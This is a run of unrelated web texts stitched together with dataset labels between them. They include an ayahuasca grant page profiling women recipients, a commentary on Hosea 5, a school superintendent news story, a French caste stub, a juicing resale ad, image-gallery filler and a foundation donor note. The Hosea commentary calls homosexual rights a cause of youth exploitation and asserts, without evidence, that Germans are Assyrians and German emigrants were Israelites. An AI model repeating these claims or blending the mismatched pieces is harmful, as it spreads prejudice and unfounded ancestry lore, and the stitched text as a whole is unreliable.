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Shipibo Onanya ("Ancestral Healers") at Temple of The Way of Light—Photo by Tracey Eller for Cosmic Sister
The Cosmic Sister® Plant Spirit Grant is a merit-based program that supports outstanding women from all walks of life and in different times of life to experience the healing and consciousness-expanding journey of ayahuasca ceremony in the Peruvian Amazon. Ayahuasca, a traditional psychedelic brew, is not only legal in Peru—it is designated as a "Cultural Treasure" by the Peruvian government.
Cosmic Sister's Women of the Psychedelic Renaissance and Cosmic Sisters of Cannabis are important companion projects of the Cosmic Sister Plant Spirit Grant. These projects focus on helping women educate the public honestly about the benefits and risks of psychedelics and cannabis and the responsible use of sacred plants in consciousness-expanding mind/body/spirit wellness work with sacred plants, such as ayahuasca.
If you are interested in the Cosmic Sister Plant Spirit Grant, please fill out the Cosmic Sister Plant Spirit Grant Contact Form, but please take a moment to read our FAQ page first.
Please follow us on Social Media for updates.
PLANT SPIRIT GRANT RECIPIENTS
These following recipients are listed in the order of grants awarded. For simpler views, please see LIST VIEW or ICON VIEW.
Zoe Helene with and Cosmic Sister Plant Spirit Grant recipient Susan Sheldon in a sustainable medicinal plant nursery at Temple of the Way of Light, an ayahuasca retreat in the Peruvian Amazon.
Rachael Carlevale, a yoga instructor and sex educator, was 25 years old when she was awarded the first Cosmic Sister Plant Spirit Grant. In this photo she bonds with Luz Isamani Romayna, a Shipibo visionary artist in Iquitos, a river city in the Peruvian Amazon and a gateway city for many of the most reputable ayahuasca retreats. After connecting with the ayahuasca plant spirit medicine, Rachael found that "everything ultimately comes down to self-love and purpose".
Amy Love, an ecopreneur, was 33 years old when she was awarded the second Cosmic Sister Plant Spirit Grant. In this photo she stands in front of a hummingbird totem mural at Nihue Rao Centro Espiritual after enjoying a pre-ceremonial "floral bath". Amy discovered that "in the healing of our own individual wounds, through the web of our interconnectedness, we allow for others to heal theirs as well."
Robyn Griggs Lawrence, a yoga instructor, writer and editor, was 49 years old when she was awarded the third Cosmic Sister Plant Spirit Grant. In this photo, Shipibo shaman Estella performs a mapacho "soplar," a cleansing and protective smoking ceremony, in the malocca at Nihue Rao Centro Espiritual (Estella is now the lead shaman at DreamGlade).
Susan Sheldon, a landscape architect, plantswoman, and dancer who practices Authentic Movement, was 63 years old when she was awarded the fourth Cosmic Sister Plant Spirit Grant. In this photo she holds up a baby mapacho, a sacred plant used in soplars, a cleansing and protective ceremony, in a sustainable nursery at Temple of the Way of Light, an ayahuasca retreat in the Peruvian Amazon. Susan felt that the medicine "re-opened the doors of perception" and transformed her ideas about beauty and landscape ecology.
Laura Miller, a soulful writer, yogi, lover of magic and myth, marine conservation advocate and adventurer, was 41 when she received the fifth Cosmic Sister Plant Spirit Grant. Laura took to ayahuasca like a river dolphin to water, and on her first night of ceremony discovered that "something magnificent is expressing itself" through all living beings. In this photo, Laura, a certified scuba diver, considers a mermaid painting by visionary artist and teacher Mauro Reategui Perez in the Nihue Rao Art Maloka. Laura's personal story, Me and Mama Ayahuasca, was published in Utne Reader and was sponsored by a Women of the Psychedelic Renaissance journalism grant.
Tracey Eller, a lifestyle and documentary photographer, foodie and lover of exotic travel, was 50 years old when she was awarded the sixth Cosmic Sister Plant Spirit Grant. A visual storyteller who describes her camera as "a gateway to understanding myself and the world," Tracey was "in her element" while on photojournalism assignment with Utne Reader while on her ayahuasca adventure, a project sponsored by the Women of the Psychedelic Renaissance educational initiative. In My Element, a photo essay showcasing some of her many wonderful images, was published in Utne Reader and was sponsored by a Women of the Psychedelic Renaissance journalism grant.
Marina Goldman was 55 years old when she was awarded the seventh Cosmic Sister Plant Spirit Grant. Marina is a women's health nurse practitioner specializing in addictions medicine. She also travels every year to Sierra Leone in West Africa, where she advocates against female genital mutilation as well as for the care of children orphaned by Ebola in the region. Though Marina deals well with the difficult issues she encounters daily in her work, she felt that ayahuasca could provide healing and spur her to the next level. "This is heavy work, and we're only human," she says. Marina just returned from her experience in the Amazon, where she had powerful visions and the recurring realization, "always go back to Nature for the answers." Here she stands against an old growth tree at DreamGlade ayahuasca retreat in the Peruvian Amazon. Photo by Tracey Eller
Julia Moore, a Sustainable Food & Farming senior at the University of Massachusetts, was the 8th recipient of the Cosmic Sister Plant Spirit Grant and was 24 at the time. Julia worked during the summer growing ornamental flowers at a local organic farm to save money for her final semester and especially enjoyed the flower bath at the retreat. One of Julia's interests was in reclaiming her roots as a "Sister of the Earth." She just returned from her beautiful and poetic healing journey in the Amazon and is taking some private space to process and integrate. Photo by Tracey Eller
Mary Averill, a Social Worker and Travel Photographer, was 56 when she was awarded a Cosmic Sister Plant Spirit Grant. Mary's life's journey has been informed by her passion to comprehend the complexity of human nature. From the corners of the world to the streets of the inner city, she has explored the many faces of people, either through the lens of her camera or through the compassion of her heart. In addition to art making, Mary is a social worker who is "passionate about making the lives of others better." Mary just returned from her ayahuasca experience in the Amazon and is planning to share her story. We are not surprised that she felt a strong connection with the medicine. Mary is taking some time to integrate but is planning to share her story. Photo by Tracey Eller
Asheville, North Carolina-based Sandra García (50), a Colombian-American Spanish translator, interpreter and visual artist, plans to interview native Shipibo women in the Amazon about gender equity, shamanism and their experiences as women in modern tribal culture. García's life's work is about "sharing the vision of oneness and the connection between all beings." Garcia, who recently became a U.S. citizen, was also awarded a Women of the Psychedelic Renaissance grant to interpret for an article Helene is developing about how ayahuasca's growing popularity affects female shamans and women of the indigenous Shipibo tribe and the connection between la medicina and their exotic kinetic textile art. Garcia will also support other writers on assignment.
New York City-based musician and writer Faye Sakellaridis (27) is managing editor of The Alchemists Kitchen and Reality Sandwich, where she enjoys the "rich spectrum of intellectual essays on consciousness through a diverse lens of art, culture, and science." She earned an MFA in Creative Writing from Queens College, but as a classically trained improvisational pianist, she identifies first and foremost as a musician. "Writing and music are two are elemental parts of me, and communicating through them is what I do," she said. Sakellaridis was also awarded a Women of the Psychedelic Renaissance grant to explore and write about her personal healing work around creative and emotional blockages to transform "healing into art." (@fayesakell)
Los Angeles-based journalist Katie Bain (33), born and raised in Wisconsin, writes about electronic music, culture and travel (her passions) for Billboard, L.A. Weekly, The Rattling Wall, Beatport News and more. "The intersection of music and psychedelics has become the sweet spot in my professional coverage because it's one of the places where all these things meet," she said. "While in Peru, my intention is to use the space to explore new artistic and creative realms and work with whatever other scenarios present themselves." Bain was also awarded a Women of the Psychedelic Renaissance journalism grant to develop an immersive travel article about her experience. (@bainofyrexstnce)
Tacoma, Washington-based psychedelic scholar and teacher Nese Devenot, PhD (29) is an Andrew W. Mellon Postdoctoral Fellow in Digital Humanities at the University of Puget Sound. One of her key interests is "going outside the purely therapeutic program" to allow everyone—not just people who have suffered trauma or psychological issues—to see their lives from a different perspective. Through ayahuasca, she intends to explore themes related to "Chemical Poetics," a book she's writing about the relationship between language and psychedelic experiences. Devenot was also awarded a Women of the Psychedelic Renaissance grant to explore and write about her research focus from a personal perspective. She hopes her work "contributes to broadening our cultural appreciation for non-ordinary states of consciousness to cultivate a more empathic and compassionate world." (@NeseLSD)
Freeport, Maine-based family physician Selma Holden, M.D. (40), recently finished Harvard Medical School's Integrative Medicine post-doctoral research fellowship. She believes "more in skills than pills" for helping people heal, and weaves mindfulness, yoga, herbs and other complementary techniques into her clinical repertoire. A mother, she's particularly interested in maternal wellness. Through ayahuasca, she said, she is looking for "connection with truth, re-engagement with energy and motivation, and a clearer vision to do what's needed for the world—doing the best I can with the privileges I've been given." Holden was also awarded a Women of the Psychedelic Renaissance grant to write about her ayahuasca experiences for peers and colleagues in the integrated medical field and beyond.
Julia Asadorian (21) is an integrative health sciences major at the University of Vermont and a talented vocalist. She intends to address eating issues that began when she stopped singing. Julia says she wants to "fully and wholesomely accept and love myself in this vessel that I am currently in." Grants: Plant Spirit Grant / Women of the Psychedelic Renaissance
Kristine Anne (48) is a multi-media project coordinator makes videos she describes as "therapy combined with outreach storytelling," emotionally connecting people through telling and listening to stories. She is interested in telling the stories of women working in Massachusetts's newly legal cannabis industry. She hopes her journeying will "guide me back to the smart, resourceful, happy human I know I am in order to use my talents to better effect." Grants: Plant Spirit Grant / Women of the Psychedelic Renaissance / Cosmic Sisters of Cannabis
Sarah Baldwin (33) is immersed in the world of medicinal plants, writing and teaching about the physical and spiritual benefits of herbal medicine. She considers plants her spiritual guides, teachers, and healers and seeks to share their loving wisdom with others. In the medicine space, she intends to ask for guidance that will allow her to more effectively help the world while nourishing herself. "I've always been hard-working, and I believe in my writing and teaching skills, so I feel as though the problem must stem from a deep energetic pattern such as a lack of confidence or a belief that I don't deserve abundance," she says. Grants: Plant Spirit Grant / Women of the Psychedelic Renaissance
Dawn D. Davis (41), a member of the Shoshone-Bannock Tribes, was raised by her maternal grandparents in the Bannock Creek District of the Fort Hall Indian Reservation in Idaho and is working to build a thriving wild peyote population as well as a society that respects water. In the medicine space, she intends to ask the ayahuasca about her role with peyote and "what the meeting of these two sacred plant medicines on my life path have to say to me, as an Indigenous researcher—and woman." Grants: Plant Spirit Grant / Women of the Psychedelic Renaissance
Leia Friedman (29), an adjunct psychology professor, writer, spiritual emergence coach, and co-founder of Boston Entheogenic Network (BEN), is integrating non-ordinary states of consciousness with ecopsychology and ethnobotany and has found profound personal healing through her work with visionary plants, mind-body practices, and radical self-expression. In the medicine space, Leia intends intends to ask the ayahuasca to help her make sense of the visions she had during a recent iboga experience. "I have my scuba gear on, believe me," she says. "I know what a dive it's gonna be!" Grants: Plant Spirit Grant / Women of the Psychedelic Renaissance
Marie Frohlich (66), a certified holistic health coach and herbalist, teaches self-care and stress reduction and helps people connect with plants through herbal retreats and workshops. In the medicine space, she intends to clear her own personal stress, including ancestral stress inherited from the women in her family. "I am very open to self-discovery and understanding how being seen and not heard as a child has affected my self-confidence and finding my voice," she says. Specifically, she hopes to clear "maladaptation to stress" and "ancestral stress many of the women in my family bequeathed me via their genes, which goes deep." Grants: Plant Spirit Grant / Women of the Psychedelic Renaissance
Sandra "Sandy" Griffin (60) is an artist, illustrator, and author who creates art "inspired by the joy and beauty and terror inherent in nature." In the medicine space, she intends to find out how she can best use her creative gifts and what wisdom she can impart to her grandchildren (and other children in this world) during increasingly challenging times. "I feel like there is a stream of knowledge much greater and deeper than my limited brain – and that the wise and ancient One who is the Source of that stream knows the answers I seek far better than I know the questions I need to ask!" she says. Grants: Plant Spirit Grant / Women of the Psychedelic Renaissance
Crystal Hamby (45), an herbalist and educator, is deeply passionate about expanding her relationship with her plant allies and is currently writing an herbal medicine-making book. In the medicine space, she hopes to recognize patterns related to her fibromyalgia and wounds related to an abusive childhood, sexual assault, and the loss of her sister to a violent crime. "I have been feeling called to ayahuasca to help me shed the pain and release the trauma so I can move forward in my life physically and emotionally pain-free," Crystal says. Grants: Plant Spirit Grant / Women of the Psychedelic Renaissance
Caitlin Moakley (28) is the lead buyer and manager of the Body Care department at a legendary natural products store in Cambridge, Massachusetts. She believes her life's mission is to eliminate toxic chemicals from personal care products. In the medicine space, Caitlin hopes to "break down the personal walls that stop me from getting to the next level in my career." Grants: Plant Spirit Grant / Women of the Psychedelic Renaissance / Cosmic Sisters of Cannabis
Dawn Musil (25) is entering graduate school in Ethnobotany at the University of Kent in fall 2018. In the medicine space, she intends to deepen her bond with nature and address wounds from growing up in an oppressive cult group, including a close friend's suicide. She says nature "is what we all have in common as humans in this world, regardless of religion, belief, or background." Grants: Plant Spirit Grant / Women of the Psychedelic Renaissance
Chioma Nwosu (39), a Nigerian-born, Detroit-raised massage therapist, yoga instructor, preventative health enthusiast and certified pharmacy technician based in Los Angeles, is cultivating routes to mindfulness with connection to breath, self-mastery, proper body alignment and connection to the Divine. In the medicine space, she intends to seek more holistic ways to help people with anxiety and depression "connect with their fractured selves and head toward wholeness" and hopes to heal from her mother's death when she was 21. "Without my mother's unconditional love and support, I feel lost and uncertain of my direction," she says. "Because of this, I'm not living up to my potential." Grants: Plant Spirit Grant / Women of the Psychedelic Renaissance / Cosmic Sisters of Cannabis (@chiomanwosu)
Sabrina Pilet-Jones (30) is a community artist and certified doula who specializes in helping women with postpartum depression and birth trauma. She's passionate about urban gardening, herbs, natural healing, and helping her community. In the medicine space, she intends to work on transmuting some of the pain and obstacles she's faced into healing. "I can't save the world, I know, BUT if I can help some people in my community, I have done something." Grants: Plant Spirit Grant / Women of the Psychedelic Renaissance / Cosmic Sisters of Cannabis
Hayley Prescott (24) has a Bachelor of Science in Herbal Sciences from Bastyr University and believes her life's work is to be a healer, bridging the medicine gap between indigenous people and the Western world. In the medicine space, she intends to address depression and self-mutilation stemming from childhood trauma and a sexual assault. "I'm tired of over-analyzing and criticizing," Hayley says. "I want to learn how to let go and trust my intuition." Grants: Plant Spirit Grant / Women of the Psychedelic Renaissance
Elisabeth Sheldon (30) is working as a carpenter for a garden and landscape company in Brooklyn while she explores her career options. In the medicine space, she intends to "reconnect to the source, the divine feminine, and to my most authentic self" and address her fear of the future. "The suffering of others and the destruction of the Earth weighs heavily on my spirit and fills me with fear for the future. I want to confront that fear and transform it into strength and inspiration." Grants: Plant Spirit Grant / Women of the Psychedelic Renaissance / Cosmic Sisters of Cannabis
Estefani Vidal (37) the group interpreter for the 2018 Cosmic Sister expedition to the Peruvian Amazon, is experiencing spiritual awakening and hopes to reconnect with her ancestors in the medicine space. She also looks forward to working with indigenous guides who "learn from source, which is nature." Estefani believes that that nature is the great teacher, and seeks to "empower others to turn to nature for healing and restoration." Grants: Plant Spirit Grant / Women of the Psychedelic Renaissance / Cosmic Sisters of Cannabis (@v.i.d.a.l.e)
Cosmic Sister has several plant spirit related advocacy projects in place, including:
The Cosmic Sister Plant Spirit Grant merit-based financial grant for women to experience authentic, traditional sacred plant spirit ceremonies in safe, legal set and settings.
Cosmic Sister Women of the Psychedelic Renaissance
The Cosmic Sister Women of the Psychedelic Renaissance education initiative is an important companion project of the Cosmic Sister Plant Spirit Grant. The program focuses on helping women educate the public honestly about the risks and benefits of psychedelics and the responsible use of sacred plants in transformational, consciousness-expanding mind/body/spirit work with sacred plants, such as ayahuasca, cannabis, peyote, and psilocybin mushrooms.
The Cosmic Sisters of Cannabis educational initiative supports women as they develop, place and publish high-quality educational materials about the benefits and risks of responsible cannabis use.
Please see the Frequently Asked Questions page for more information about the Cosmic Sister Plant Spirit Grant, specifically. Visit our About Cosmic Sister for more information about Cosmic Sister.
If you are interested in the Cosmic Sister Plant Spirit Grant, please fill out the Cosmic Sister Plant Spirit Grant Contact Form.
The best way to keep in touch with Cosmic Sister and the Cosmic Sister Plant Spirit Grant is through Social Media. Also, the more people know about the program, the more funding will become available—so please spread the word.
Donations for Cosmic Sisters of Cannabis and the Women of the Psychedelic Renaissance education initiatives are tax-deductible in the U.S. through our fiscal sponsor, The Multidisciplinary Association for Psychedelic Studies (MAPS). Thank you for your SUPPORT.


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Bad Example c.5
Commentary on Hosea chapter 5
Hosea in Chapter Five tells us how the Ten Tribes will be wicked and sin. Judah will also sin and will imitate Ephraim. Consequently Judah will suffer as well. Ephraim will seek to buy his way into heaven by use of his wealth. The men of Ephraim will have borne children to foreign women. This will prevent their repentance being acceptable. Nevertheless, Ephraim will retain a degree of Biblical Awareness though not enough of it. Ephraim will seek the help of Assyria but this will be to no avail. Judah due to oppression will return to its religion and to the Land of Israel at an early stage and prepare the way for the other Tribes.
[Hosea 5:1] Hear this, O priests! Take heed, O house of Israel! Give ear, O house of the king! For yours is the judgment,
Because you have been a snare to Mizpah And a net spread on Tabor.
Mizpeh was the name of several settlements including one in Gilead east of the Jordan and another in Benjamin north of Jerusalem. Hosea is here referring to the one in Benjamin. Tabor was in the Lower Galilee and may have been a cultic center for some of the Israelite Tribes.
Daat Mikra points out that Mount Tabor was at the crossroads of Zebulon, Issachar, and Naphtali. Mizpeh was in Benjamin. Both were strategically placed points at which the Kings of Israel set up armed watches to prevent Israelites from attending the festivals in the Temple at Jerusalem.
[Hosea 5:2] The revolters are deeply involved in slaughter, Though I rebuke them all.
This verse from the Hebrew may alternately be translated as:
# And murder was being committed by serious Perverters [Hebrew: Saetim]. I upbraided all of them. #
Exactly what crime was committed we do not know. The offence was ongoing. It involved murder and perversion. The Prophet Hosea preached against everyone involved with it. Today in our society murders and perversions occur. The Law does not always prevent this but in some cases even enables it to happen. Rights for Homosexuals sometimes mean the exploitation of young people who otherwise would have gone along a different path.
[Hosea 5:3] I know Ephraim, And Israel is not hidden from Me; For now, O Ephraim, you commit harlotry; Israel is defiled.
Ephraim is synonymous with the Ten Tribes of Israel.
[Hosea 5:4] They do not direct their deeds toward turning to their God, For the spirit of harlotry is in their midst,
And they do not know the LORD.
[Hosea 5:5] The pride of Israel testifies to his face; Therefore Israel and Ephraim stumble in their iniquity; Judah also stumbles with them.
The arrogance of Israel is written on his face. He is not ashamed of what he did, nor does he regret it. His offence has become an obstacle in his path. Judah is also caught up in these crimes. In general the Prophets were against Judah and Ephraim forming too close a union. The usual reason was that Judah was inclined to copy the bad example of the northern kingdom instead of the opposite. Instead of Ephraim copying Judah and returning to worship the God of Israel, Judah was misled by Ephraim. We learn in the Bible how Jehoshaphat king of Judah formed an alliance with the King of Israel. Together they participated in a project to send ships to Tarshish in the West Atlantic area probably Tartessos in Spain. The ships were destroyed and the investment came to naught. Scripture says this was a punishment from Heaven against Jehoshapat. The king of Judah had offended by teaming up with the King of Israel who was a wicked man.
2-Chronicles 20:
35 After this Jehoshaphat king of Judah allied himself with Ahaziah king of Israel, who acted very wickedly. 36 And he allied himself with him to make ships to go to Tarshish, and they made the ships in Ezion Geber. 37 But Eliezer the son of Dodavah of Mareshah prophesied against Jehoshaphat, saying, Because you have allied yourself with Ahaziah, the LORD has destroyed your works. Then the ships were wrecked, so that they were not able to go to Tarshish.
We see here that the project of the King of Judah was doomed to failure because it involved an alliance with the King of Israel whose potential pernicious influence was condemned by the Prophet.
[Hosea 5:6] With their flocks and herds They shall go to seek the LORD, But they will not find Him; He has withdrawn Himself from them.
They shall seek to placate the Almighty with sacrifices and monetary offerings but this will not be sufficient.
[Hosea 5:7] They have dealt treacherously with the LORD, For they have begotten pagan children. Now a New Moon shall devour them and their heritage.
The word translated here as "pagan children" in Hebrew are "banim zarim" i.e. "strange [or foreign] children." This is understood as referring to children born from non-Israelite mothers which is one of the reasons (says the Talmud, Yebamot 17) the Ten Tribes were disowned until the End Times. The Ten Tribes in their places of exile did not always hold themselves back from intermarriage with non-Israelites.
The Talmud and the Law
The Talmud, Yebamot 17 a/b says that the Lost Ten Tribes are to have the status of Gentiles for all intents and purposes. The Commentary "Keren Orah" (R. Yitzchak of Karlin, 1780s) sums up the case quite succinctly:
# From their understanding of Scripture (Hosea 5:7 ) the Sages declared the Ten Tribes to have the same status as Gentiles for all intents and purposes. They made this decision through the authority of the Prophets and the Divine Inspiration they [i.e. the Sages] had...all others [i.e. Jews] who were assimilated amongst the Gentiles are assumed to have the same status [as the Ten Tribes, i.e. as Gentiles, but being destined to return. ] #
The Ten Tribes before their exile worshipped idols (2-Kings chs. 17,18). They were in fact pagans. For religious scholars who find this concept difficult to accept (as many seem to do) it should be mentioned that according to the Torah (as explained by authorities such as the Vilna Gaon) Israelite inhabitants of an "ir ha-nidachat" (city whose inhabitants have all committed idolatry, Deuteronomy ch.13) are also all considered legally the same as Gentiles, regardless of their indisputable Israelite ancestry.
In the future the Ten Tribes will return and will once again receive the yoke of the Torah. This is confirmed by the simple meaning of the Bible. The Abarbanel ("Mashmia Yishua") implies that whosoever does not accept the eventual return of the Ten Tribes in effect is guilty of denying the Truth of Scripture. This is confirmed by other sources. Rabbi Akiva (Sanhedrin 110b) is often quoted as saying that the Ten Tribes will not return. He was however (in this case) overruled by Rabbi Elazar who asserted that the Tribes definitely will come back. Later Commentators (consistent with Rashi) explained even Rabbi Akiva to have been speaking only concerning the Ten Tribes in his own generation and not those of the future. The Bible expressly says that the Ten Tribes will return and it is difficult to imagine Rabbi Akiva going against an express Biblical message. The Sages declared, "Halacha [Lawful enactment see Tosefta to Yebamot] the Ten Tribes will return."
The Lost Ten Tribes will Return. In the meantime the Ten Tribes have the same status as all other non-Jews. Apart from the Declared Law there are numerous other reasons why this ruling is upheld. No living person, for instance, can prove with objective certainty that they really are descended from the Lost Ten Tribes. At the most, they may (with the help of evidence such as that produced by Brit-Am) say with a reasonable degree of probability that they well may be descended from Ancient Israelites. This is not sufficient for an individual but when dealing with whole communities in the same situation an authoritative body such as the Sanhedrin may be able to come up with some kind of solution. At the End Times there will be an ingathering.
According Abarbanel (Mashmia Yishua, 2;3) at that time the returnees will include descendants of Jews who were forced in Spain and Portugal to convert to Catholicism, known as Conversos. They will return and will come with their non-Israelite women and their children who will be recognized. It will not be as it was in the time of Ezra when the foreign women with their children were sent away (Ezra 10:3). We may assume that the same may hold for the Lost Ten Tribes.
On the other hand a passage in The Zohar (VaYechi, mi eleh) suggests that the Ten Tribes when they return will be able to testify to having not intermixed with foreigners. The Zohar is known to in places contradict itself or to say things that are simply not accepted by any other authority. Nevertheless, the two opinions exist.
Hosea 5:7 ends with the expression translated as, "Now a New Moon shall devour them and their heritage." The word translated as New Moon is "Chadesh" which means new but not necessarily new moon. The word for moon is not mentioned in the Hebrew original.
We would translate the expression from the Hebrew as saying,
# Now newcomers will inherit their portion in the land. #
[Hosea 5:8] Blow the rams horn in Gibeah, The trumpet in Ramah! Cry aloud at Beth Aven, Look behind you, O Benjamin!
[Hosea 5:9] Ephraim shall be desolate in the day of rebuke; Among the tribes of Israel I make known what is sure.
THE MESSAGE FROM HEAVEN IS THAT AMONGST THE TRIBES OF ISRAEL, SOME KIND OF BIBLICAL KNOWLEDGE IS ASSUMED.
[Hosea 5:10] The princes of Judah are like those who remove a landmark; I will pour out My wrath on them like water.
# like those who remove a landmark #: Hebrew "ce-masigi-gevul" meaning encroaching on the border, trespassing, i.e. Judah behaved like "squatters" on the territory of Ephraim. They were so eager to imitate Ephraim it was as if they were "stealing" the identity of Ephraim and encroaching on his "territory." In other words Judah will be so eager to copy "Joseph" that he could be accused of attempted impersonation. The Prophet speaks with sarcasm ("Daat Mikra").
[Hosea 5:11] Ephraim is oppressed and broken in judgment, Because he willingly walked by human precept.
The expression translated here as "human precept" is "Tsav." It comes here instead of the usual word for commandment "mitzvah." The intention here by use of the term "human precept" appears to be convention or exigency. Ephraim obeyed what was socially expected of him even though this involved going against the Will of God. When I was young I worked for a while in a government office in Australia. It was a hot summer and I noticed that many of the men came to work in shorts. One day I too turned up in shorts. The section overseer called me in to his office. He told me that henceforth if I wish to wear shorts I must wear long white sox with them. I then noticed that all the men wearing shorts were indeed also with long white sox. Meanwhile many of the younger females were wearing very little. The law about white sox was not based on any idea of modesty or aesthetics but more a sense of accepted behavior for its own sake. In other words there is no such thing being free of the constraints of law or convention. Even lawbreakers have their rigmarole, etiquette, and order of decorum. The only difference is what laws one obeys.
To whom does one owe loyalty?
[Hosea 5:12] Therefore I will be to Ephraim like a moth, And to the house of Judah like rottenness.
[Hosea 5:13] When Ephraim saw his sickness, And Judah saw his wound, Then Ephraim went to Assyria And sent to King Jareb;
Yet he cannot cure you, Nor heal you of your wound.
The Assyrians today have been identified with Germany which also includes portions of Gomer, Canaan, and Edom. Once many Israelites lived in Germany though most emigrated before the 1st and 2nd World Wars. Many of the migrants from Germany in the 1800s were of Israelite ancestry. They came from specific areas and were often of their own type. They who did not move out to North America but remained behind were not on the whole of Hebrew origin.
KING JAREB: "Jareb" in Hebrew is "Yarev" and connotes "quarrel" or "contention." The Commentators are divided concerning the intention of this expression. Some say it represents Assyria in general; others say it means King Tiglathpileser; while still others offer alternate solutions.
[Hosea 5:14] For I will be like a lion to Ephraim, And like a young lion to the house of Judah. I, even I, will tear them and go away;
I will take them away, and no one shall rescue.
[Hosea 5:15] I will return again to My place Till they acknowledge their offense. Then they will seek My face; In their affliction they will earnestly seek Me.
# In their affliction they will earnestly seek Me #: Judah will be oppressed and will seek to return to God and the Land of Israel before the End Times. This is what is happening at present. Returning to the God of Israel ultimately involves returning to the Land of Israel. The book "Am HaBonim" (quoting from Rabbi Zvi Kalischer) applies this verse to the Future Redemption and the Future Return of Judah and the Ten Tribes.
Rabbi Zvi Kalisher (1795-1874) believed in the return of the Jews to the Land of Israel and the establishment of a religious state. He wrote books and was active in propagating his ideas. His work has important ideological and theological implications.
"AM HABANIM SMAYCHA" (that quotes Rabbi Kalishcer) is a much revered book written by Rabbi Yisachar Shlomo Taechtael, Budapest, Hungary. The author was murdered by the Germans during the Holocaust. In his book, he suggests (based on recognized religious sources) that the Jews suffered so much partly because they did not sufficiently support the Zionist ideal.
Here is the relevant quotations from "AM HABANIM SMAYCHA":
"s.79: I saw in the book "Drishat Tsion" [by Rabbi Zvi Kalisher] an inquiry concerning the words of Nachmanides ["Ramban"] on Isaiah 56:8, # The LORD GOD, who gathers the outcasts of Israel, says, Yet I will gather to him others besides those who are gathered to him # (Isaiah 56:8).
"This verse is explained: In the beginning will be gathered many of the outcasts of Israel but not all of them. After the War of Gog and Magog will the above-quoted expression, "Yet I will gather to him others", be pertinent: Meaning that they will once again be ingathered together with those who were gathered previously. This applies to those who were lost in the Land of Assyria (Isaiah 27:13) from the Lost Ten Tribes. They will be regathered.
"If a great community of those who were lost in the Assyrian Exile would be ingathered first of all, how could they be brought to a wasted and desolate country? Without doubt they will have to be preceded [by their brothers from Judah] in order that the land may bring forth bread. Afterwards all of them will be able to come to country full of God's blessing.
"The wilderness shall be a fruitful field" (cf. Isaiah 32:15), full of fields and vineyards restored by the hand of Israelites.
In other words the Jews shall return, establish a State and build it up. Later the Ten Tribes shall return, join themselves to Judah, and further develop and expand the Land. Judah will have laid the preparatory basis for all this. This may be what is happening in our time. Perhaps the State of Israel is preparing the way for the Return of the Lost Ten Tribes, or part of them?

redpajama_set_name: RedPajamaCommonCrawl


text:
D34 in Search of New Leadership
Emily Higgins, SequoitMedia.com Managing Editor|November 19, 2019
Community High School District 117 feeder school district Antioch School District 34 announced Monday that Superintendent Jay Marino has been "on leave from the District since Friday, November 1, 2019."
The email, written by District 34 School Board President Mary Beth Hulting, expressed that Superintendent of Community High School District 117 Jim McKay is willing to serve as a Temporary Interim Superintendent. She explained that McKay must receive approval from both District 34 and District 117 School Boards for this appointment.
At this time, there is no clear timeframe on how long McKay would potentially fill the temporary interim position; he believes it will last a few weeks, while the full interim position itself could last until the end of the 2019-2020 school year. District 117 School Board member Bart Winkler discussed McKay's possible responsibilities.
"[His responsibilities] would develop as needed from the school, as there would be no direct management [from his temporary interim position]," Winkler said. "Regardless of his possible appointment with D34, McKay's main responsibility would still remain with District 117."
Although it is believed the second and final decision will be made at the District 117 Board meeting on November 20, District 117 leaders are confident in McKay's skills as a leader for the feeder district.
"I have known and worked with Dr. McKay since he was a science teacher in D117," Lakes English teacher and District 117 Union President Bryan Plinske said. "Dr. McKay has always had the students' best interests at heart, and I believe he will do a stellar job. He has the experience to help D34 navigate what must be a difficult time. I have no doubt that he will be able to handle the rigors of both positions seamlessly. … I think it is fantastic that two school districts are working together for the greater good."
More information will be provided as decisions are made. Updates from last night's District 34 board meeting, tonight's D117 board meeting and future information regarding changes can be found on Sequoitmedia.com.
Bart Winkler
Jay Marino
Mary Beth Hulting
BREAKING: Hubbard to Head District 34
Orlov Promoted to Assistant Principal of Curriculum and Instruction
Even though second semester just began, Antioch Community High School students and staff are already looking ahead to the 2020-2021 school year. This ...
Life Is Short, Lick the Bowl
Lolo's Bowls is in its early infancy as a restaurant, yet has done nothing but satisfy their customers. Located in Libertyville, it is about 35 ...
Reaching for the stars at Shine Bright Dance Studio
D34 Announces Interim Superintendents
New Safety Protocols Enhanced at ACHS
More Than Four Pillars: National Honor Society
Language and Culture Education
BREAKING: Haren to Leave ACHS for District Office
One More Title
*Sequoit Media Highlights
D34 Board Meeting Ends with Agreement
BREAKING: D34 Announces Immediate District Administrative Changes
Grayslake Water Supply Leads to Another Concern
Carving Out the Fun in Halloween


text:
Les Banian (Baniya, Vani et Vania) sont une sous-caste (jati) de commerçants, banquiers, prêteurs sur gage, marchands de grains ou d'épices, et aujourd'hui aussi dans de nombreux autres domaines. Le terme a une plus large acception au Bengale qu'ailleurs en Inde, où il s'applique à des castes particulières.

Étymologie

 est dérivé du mot sanskrit  ou , qui signifie . Dans l'ouest de l'Inde, ils sont appelés  ou . Au Bengale, le terme est appliqué à toutes les personnes impliquées dans le prêt d'argent et les activités similaires ; ailleurs en Inde il ne s'applique qu'à des castes particulières. Orthographié banyan par Paul Nizan dans  : les changeurs banyans assis, en redingotes luisantes, sur le pas de leur porte font rouler d'une main à l'autre des piles de roupies, de souverains et de ces dollars de Marie-Thérèse...

Notes et références

Voir aussi
 Vaishya

Système de castes en Inde

redpajama_set_name: RedPajamaWikipedia


Show Your Readers How to Achieve Better Health with Juicing!
The last page is intentionally left blank so you can add affiliate links to your favorite juicing resources, such as juicer models or juicing recipe books.
Of course, you don't have to use this material as a short report or ebook. You can break it up into blog posts, add to your enewsletter, or however else you chose. The only thing you can't do with this content (or any material on KitchenBloggers) is sell or otherwise transfer PLR or other resale rights to anyone else or use publish it under my name.
*This Bundle is Exclusive to KitchenBloggers.com. If you see it sold elsewhere, it is in violation of our terms of sale.


Wall storage units shelves objects traba homes is one images from the most impressive wall unit designs for bedroom ideas ever seen 27 photos of World Homes photos gallery. This image has dimension 1280x960 Pixel and File Size 226 KB, you can click the image above to see the large or full size photo. Previous photo in the gallery is bedroom unit design home. For next photo in the gallery is bedroom ceiling design unit. You are viewing image #13 of 27, you can see the complete gallery at the bottom below.


Local and national foundations play an integral role in Children's Law Center's work with DC's most vulnerable children.
Thank you to the 2018 foundation donors listed below. Their support has sustained our impact and enabled us to start new initiatives or expand current programs, continuing our high quality work with the children of DC.
To learn more about the work these foundations support, contact Brian Shook.


Electric bike. An actual ICON. Our Rolls Roys of commuter bikes.
